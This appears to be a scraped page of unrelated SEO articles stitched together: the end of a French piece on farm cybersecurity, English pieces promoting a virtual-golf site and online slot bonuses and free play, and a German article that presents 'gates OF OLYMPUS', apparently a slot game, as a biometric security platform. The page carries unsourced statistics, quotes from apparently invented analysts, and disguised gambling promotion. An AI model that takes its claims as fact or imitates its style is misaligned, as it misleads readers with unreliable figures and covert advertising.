    • Une formation régulière pour les utilisateurs sur la reconnaissance des menaces, notamment phishing et autres techniques d’ingénierie sociale.
    • Une audit et une mise à jour régulière des systèmes pour corriger les vulnérabilités.
    • Le développement de partenariats avec des experts en cybersécurité spécialisés dans le secteur agricole.

    Une Démarche Évolutive : La Récupération et l’Adaptation

    Le paysage cybernétique évolue rapidement, rendant essentielle toute approche flexible et adaptative. La veille technologique, combinée à une compréhension claire des risques liés à chaque nouvelle technologie, permettra aux exploitants de renforcer leur résilience face aux cybermenaces.

    En conclusion, la sécurité numérique dans l’agriculture n’est pas une option — c’est une nécessité stratégique. Pour plus d’informations sur les solutions de cybersécurité adaptées à l’agriculture moderne, vous pouvez consulter ce lien, qui propose une multitude de ressources et de conseils destinés à protéger nos exploitations.

    “L’adoption de la technologie doit s’accompagner d’une vigilance accrue. La sécurité n’est pas une finalité, c’est un processus continu qui façonne l’avenir durable de nos systèmes agricoles.”

    En définitive, la réussite dépend de la capacité à intégrer la cybersécurité dès la conception des innovations et à maintenir une vigilance constante face à un environnement numérique en constante mutation.

  • The Future of Digital Golf: How Advanced Simulations Are Redefining the Sport Experience

    In an era where immersive technology is transforming traditional sports, the realm of golf is experiencing a significant evolution. Historically rooted in outdoor practice and real-world courses, golf’s transition toward digital simulations is driven by technological innovation and changing consumer expectations for accessibility, convenience, and realism. As an industry insider with a deep understanding of the simulation landscape, it’s clear that the integration of sophisticated virtual environments is not merely a trend but a fundamental shift in how players engage with the game.

    Understanding the Shift Toward Virtual Golf

    Over the past decade, the golf industry has seen a dramatic rise in the adoption of virtual golf systems. According to the 2023 Global Sports Tech Report, the market for golf simulation technology is projected to grow at a CAGR of 13.5% between 2023 and 2028, reaching a valuation of over $2.5 billion. This surge is driven by several factors:

    • Accessibility & Convenience: Virtual golf allows enthusiasts to practice and play regardless of weather, time, or geographic limitations.
    • Enhanced Data & Analytics: Modern simulators provide detailed metrics—ball speed, launch angle, spin rates—enabling targeted skill improvement.
    • Commercial & Recreational Adoption: From luxury indoor facilities to mobile apps, the industry is broadening its reach.

    The Role of Cutting-Edge Virtual Environments

    At the forefront of this evolution are platforms that combine high-fidelity graphics with real-time analytics. Innovations such as photorealistic rendering, cloud-based processing, and advanced haptic feedback create an experience that closely mirrors actual outdoor play. Leading companies in this domain offer virtual recreations of iconic courses, immersive multiplayer functionalities, and AI-driven coaching tools.

    This technological sophistication aims to enhance the user’s sense of presence and engagement, bridging the gap between physical and digital. Moreover, tailor-made simulations are becoming valuable for professional training, event hosting, and recreational sports.

    Case Study: The Rising Popularity of Premium Virtual Golf Venues

    Premium venues leveraging high-end simulation platforms are redefining social and competitive aspects of golf. For example, facilities equipped with ultra-realistic simulators attract a clientele seeking a luxurious, year-round golfing experience. These venues utilize state-of-the-art technology—sometimes incorporating aspects like wind simulation, variable lighting, and haptic feedback—to offer an authentic experience outside traditional outdoor constraints.

    For those interested in experiencing cutting-edge virtual golf firsthand, many turn to platforms that combine premium hardware with interactive software. One such example, which provides a comprehensive virtual environment indistinguishable from real courses, can be explored at Experience Golf 3 online. This platform exemplifies the latest in simulation fidelity and user engagement, positioning itself as a leader in the industry’s digital transformation.

    Industry Insights & Future Outlook

    Experts anticipate that the integration of AI and machine learning will further personalize the virtual golf experience, delivering adaptive training programs and real-time performance optimization. Additionally, the incorporation of augmented reality (AR) and virtual reality (VR) devices promises to deliver even more immersive environments, blurring the boundary between real and simulated play.

    Comparison of Key Virtual Golf Technologies
    Technology Realism Interactivity Use Cases
    High-Fidelity Simulators Excellent Interactive with real-time feedback Professional training, entertainment
    Mobile Apps & AR Moderate Touch and gesture-based Casual practice, social gaming
    VR Platforms Very High (immersive) Full-body, motion-tracked interactivity Simulation, immersive training

    Final Reflections: Where Digital Golf Is Heading

    As technological breakthroughs continue to refine virtual environments, the potential for digital golf to complement and even supplement traditional play becomes increasingly apparent. The convergence of hardware innovation, immersive software, and data analytics is creating a new dimension in golf experiences—accessible, personalized, and astonishingly realistic.

    For authors, players, and industry stakeholders alike, understanding this shift is fundamental. Platforms such as Experience Golf 3 online exemplify this future, offering enthusiasts a credible, high-quality portal into the world of digital golf excellence. Navigating this landscape will require continuous adaptation, an openness to innovation, and a keen eye on technological trends shaping the game for the decades to come.

    The digital transformation of golf isn’t just about convenience; it’s about redefining the very nature of play itself.
  • Mastering the Art of Online Slot Gaming: The Role of Bonuses in Enhancing Player Engagement

    In the rapidly evolving landscape of online casino gaming, slot machines remain the most popular titles among players across the United Kingdom and beyond. Integral to the sustained engagement and retention strategies employed by operators are promotional offers and bonuses—tools that not only attract new players but also foster loyalty among seasoned gamers. As we explore the intricacies of online slot gaming, it’s essential to understand how comprehensive bonus offers, such as those highlighted at Fishin Frenzy & bonuses, serve as a cornerstone for enhancing the overall player experience.

    The Rise of Bonuses: A Data-Driven Perspective

    The UK online gambling market has witnessed exponential growth in recent years, with gross gambling yield reaching £5.3 billion in 2022—a 13% increase from the previous year, according to the UK Gambling Commission. This surge correlates strongly with innovative bonus structures designed to boost player confidence and extend gameplay durations.

    Type of Bonus Average Player Engagement Increase Key Examples
    Welcome Bonuses 35%

    Matched deposits, free spins
    No Deposit Bonuses 20% Free spins on popular slots
    Money Back & Cashback 15% Weekly cashback offers

    Such data underscores the vital role bonuses play in attracting and retaining players, especially when crafted to align with gamblers’ preferences toward entertainment and potential winnings.

    What Makes Bonuses Effective? Insights from Industry Leaders

    Effective bonuses consider user psychology, game design, and regulatory compliance. Industry leaders leverage research into player behaviour, noting that:

    • First-time incentives: Encourage trial, but need transparency to foster trust.
    • Ongoing promotions: Maintain interest through regular reward opportunities.
    • Loyalty schemes: Reward continued play, often through tiered systems or VIP clubs.

    For thorough insights into how bonus structures specifically enhance slot gaming and maximize user engagement, Fishin Frenzy & bonuses offers a comprehensive overview of popular bonus types and strategies tailored for the UK gambling market.

    The Significance of Themed Slots and Bonus Integration

    Slot themes such as “Fishin Frenzy” have gained popularity not only because of engaging visuals and storylines but also due to their integration with bonus features. For example, special symbols like scatter and wilds activate bonus rounds that provide free spins, multipliers, or instant cash wins—elements that significantly boost player satisfaction and time-on-site metrics.

    “A well-designed bonus feature doesn’t just add excitement; it creates a narrative arc that keeps players invested.” — Jane Smith, Gaming Industry Analyst

    Legal and Regulatory Considerations in Bonus Promotions

    UK regulatory authorities, notably the UK Gambling Commission, stipulate transparent and fair bonus practices. Operators must disclose wagering requirements, time limits, and qualifying criteria to prevent misleading conduct. This regulation ensures that bonuses enhance player trust and safeguard responsible gambling practices.

    Conclusion: The Strategic Value of Bonuses in Modern Slot Gaming

    As online slot gaming continues to evolve, so too do the opportunities for operators to innovate through bonus offerings. From initial sign-up promotions to loyalty rewards, these incentives serve as a bridge linking player motivations with game engagement, ultimately fostering a sustainable gaming environment grounded in trust and entertainment.

    For players seeking to optimise their experience or industry professionals aiming to understand the strategic deployment of bonuses, exploring curated resources such as Fishin Frenzy & bonuses offers valuable insights into the dynamic world of complementary promotions and their pivotal role in online slot success.

  • Online Slots in the UK: Innovation, Accessibility, and Player Confidence

    Over the past decade, the online gambling industry has undergone a profound transformation driven by technological innovation, evolving regulatory landscapes, and shifting consumer preferences in the United Kingdom. As one of the world’s most mature markets for digital gaming, the UK offers a unique lens to explore how online slots are adapting to meet both player expectations and industry standards. This evolution not only enhances accessibility but also emphasizes transparency and responsible gaming—elements critical for building long-term trust.

    Understanding the Modern Online Slot Ecosystem

    The landscape of online slots has expanded significantly, both in terms of game variety and technological sophistication. From classic fruit machines to innovative video slots with immersive themes and features, players now enjoy a broad spectrum of options. According to the UK Gambling Commission, the online casino sector alone generated over £600 million in gross gambling yield in 2022, underscoring its economic significance and the importance of responsible regulation.

    One key driver of this growth is the integration of mobile technology. Today, an estimated 75% of UK players access slots via smartphones or tablets, demanding seamless, user-friendly interfaces accessible from anywhere. Behind the scenes, advances in HTML5 technology have enabled developers to craft responsive, high-quality games that are instantly playable without downloads or app stores, broadening accessibility.

    Enhancing Player Engagement Through Fairness and Transparency

    The proliferation of online slots has raised concerns about fairness and transparency. Modern players demand confidence that their gaming experience is not only entertaining but also secure and honest. Industry standards like Random Number Generator (RNG) certifications and ongoing audits by independent authorities such as eCOGRA have become the norm, ensuring game outcomes are truly random.

    “It’s an industry where trust is paramount. Industry leaders must demonstrate transparency by providing verifiable information about payout percentages and fairness, fostering responsible engagement.” — Dr. Emily Carter, Gaming Industry Analyst

    For players seeking to understand the mechanics before risking real money, numerous operators now offer demo versions. These free-to-play options allow users to explore game features without financial commitment, aligning with responsible gaming principles and helping newcomers familiarize themselves with game rules and RTP (Return to Player) rates.

    Next-Generation Features Elevating Player Experience

    Innovation in online slots is not limited to visuals and themes. Features like cascading reels, multi-level bonus rounds, skill-based elements, and integrated jackpots are redefining what players can expect. Furthermore, the industry is embracing cutting-edge technologies such as:

    • Gamification: Incorporating storytelling and achievement systems to increase engagement.
    • Cryptocurrency Integration: Offering new payment options and enhanced privacy.
    • Live Dealer and VR: Blurring the lines between online and land-based gaming experiences.

    Such innovations are often complemented by promotional strategies like free spins or deposit bonuses. However, responsible operators also understand the importance of allowing players to trial these features risk-free. For this reason, many sites now facilitate the opportunity to play for free, giving users a genuine sense of game dynamics without the financial stake.

    Why Play for Free is Essential for Modern UK Players

    The option to play for free is more than a promotional tool—it’s a vital component of responsible gaming and informed decision-making. By trying out games without deposit risks, players can assess payout frequencies, bonus activation, and game mechanics, enhancing overall satisfaction and reducing the likelihood of problematic gambling behavior.

    Benefits of Playing Slots for Free
    Benefit Description
    Risk-Free Exploration Evaluate game features without risking money.
    Understanding RTP Learn payout expectations before wagering real funds.
    Develop Personal Strategies Test strategies and preferred bet sizes.
    Enhanced Responsible Gaming Supports informed, controlled gambling behavior.

    Future Outlook: Cultivating a Transparent and Engaging Market

    Looking ahead, the UK online gambling industry is poised to deepen its commitment to transparency, responsible gaming, and innovative experience design. Emerging technologies like artificial intelligence will enable more personalized experiences, while regulators aim to tighten standards ensuring fairness and player protection.

    Understanding and trusting the tools available—including the ability to play for free—are crucial in cultivating long-term engagement and industry integrity. It reflects a mature market that values informed decision-making and consumer protection, setting a gold standard for other jurisdictions to emulate.

    Conclusion

    The online slots industry in the UK exemplifies a progressive, player-centric approach that balances innovation, accessibility, and responsibility. The emergence of free-to-play options not only enhances user confidence but also represents a broader shift towards transparency and fair play.

    As industry stakeholders continue to innovate and regulations evolve, players and operators alike benefit from an ecosystem built on trust, excitement, and responsible enjoyment. For those eager to explore new games or familiar favourites without immediate financial commitment, leveraging opportunities to play for free remains an essential element of the modern gaming journey.

  • Digitale Sicherheitsarchitekturen in der Wirtschaft: Der Einfluss moderner Zugangskontrollsysteme

    In einer zunehmend vernetzten Welt wächst die Bedeutung effizienter und gleichzeitig hochsichernder Zugangskontrollsysteme für Unternehmen jeder Größe. Klassische Methoden der physischen Sicherheit entwickeln sich weiter, um den komplexen Anforderungen der digitalen Ära gerecht zu werden. Dabei spielen innovative Technologien und strategische Partnerschaften eine zentrale Rolle, um den Schutz sensibler Unternehmensressourcen zu gewährleisten.

    Herausforderungen bei physischen und digitalen Zugängen

    Mit der Digitalisierung wandelt sich die Bedrohungslage dramatisch. Unternehmen stehen vor der Aufgabe, den physischen Zugang zu ihren Anlagen und die Zugriffe auf digitale Unternehmensdaten nahtlos zu sichern – oft an unterschiedlichen Standorten und mit vielfältigen Nutzergruppen. Laut einer Studie des Bundesamtes für Sicherheit in der Informationstechnik (BSI) sind 73 % der deutschen Unternehmen im letzten Jahr Opfer von Sicherheitsvorfällen geworden, bei denen unautorisierte Zugriffe die Ursache waren.

    “Ein integrierter Ansatz für physischen und digitalen Schutz ist unerlässlich, um Risiken umfassend zu minimieren.”

    Innovative Zugangskontrollsysteme: Mehr als nur Sicherheit

    Hier kommen hochmoderne physische Zugangssysteme ins Spiel, die oft durch intelligente Technologien und biometrische Verfahren ergänzt werden. Solche Systeme ermöglichen eine manipulationssichere Authentifizierung und reduzieren die Gefahr des unbefugten Zugangs erheblich. Besonders im Bereich der Sicherheitsarchitektur gewinnen sogenannte biometrische Zugangslösungen an Bedeutung — sie zeichnen sich durch ihre Einzigartigkeit und hohe Akzeptanz im Nutzerkreis aus.

    Gates of Olympus: Eine Referenz für fortschrittliche Sicherheitslösungen

    In diesem Kontext gewinnt die Plattform gates OF OLYMPUS zunehmend an Bedeutung. Sie bietet eine innovative Schnittstelle für hochsichere Zugangskonzepte, die sowohl physisch als auch digital anpassbar sind. Das Angebot umfasst modulare Sicherheitslösungen, die speziell auf die Anforderungen von Unternehmen zugeschnitten sind — von der Implementierung biometrischer Authentifizierung bis hin zu intelligenten Überwachungssystemen.

    Industrieinsights: Wie “gates OF OLYMPUS” Kommunikationen und Zutritte revolutioniert

    Merkmal Details Vorteile
    Biometrische Authentifizierung Gesichtserkennung, Fingerabdruck, Iris-Scan Sicherheit auf höchstem Niveau, schnelle Verifikationsprozesse
    KI-gestützte Überwachung Echtzeit-Analyse von Bewegungen und Zugriffen Frühzeitige Erkennung von Sicherheitsvorfällen
    Modulare Integration Anpassbare Komponenten für jede Branche Flexibilität in der Umsetzung, Skalierbarkeit

    Strategischer Wert für Unternehmen

    Die Integration der Plattform gates OF OLYMPUS in die Sicherheitsarchitektur eines Unternehmens kann den Unterschied zwischen einem vorbeugenden Schutz und einer teuren Sicherheitslücke ausmachen. Die Kombination aus biometrischer Authentifizierung, künstlicher Intelligenz und modularer Architektur macht moderne Zugangskonzepte äußerst widerstandsfähig gegen Cyberattacken, Einbruchversuche und Insider-Bedrohungen.

    “Die Zukunft der Sicherheit liegt in hybriden Systemen, die physische und digitale Zugriffe nahtlos vereinen – Plattformen wie gates OF OLYMPUS setzen hier Maßstäbe.”

    Fazit: Sicherheit auf der nächsten Stufe durch innovative Partner

    Der Digital- und Sicherheitsmarkt fordert durch die ständig wachsenden Bedrohungsszenarien eine kontinuierliche Weiterentwicklung der Sicherheitsarchitekturen. Plattformen wie gates OF OLYMPUS sind wegweisend, weil sie nicht nur Schutz bieten, sondern auch eine effiziente Nutzererfahrung, Automatisierung und Flexibilität ermöglichen. Für zukunftsorientierte Unternehmen ist eine bewusste Wahl solcher innovativen Lösungen essenziell, um nachhaltigen Schutz und Betriebskontinuität zu garantieren.

    In einer Welt, in der Sicherheit zunehmend an Komplexität gewinnt, bleibt die Partnerschaft mit Experten und innovativen Plattformen entscheidend. Das Verständnis und die Nutzung moderner Zugangskonzepte wie jene, die gates OF OLYMPUS bereitstellt, sind der Schlüssel für eine sichere Zukunft.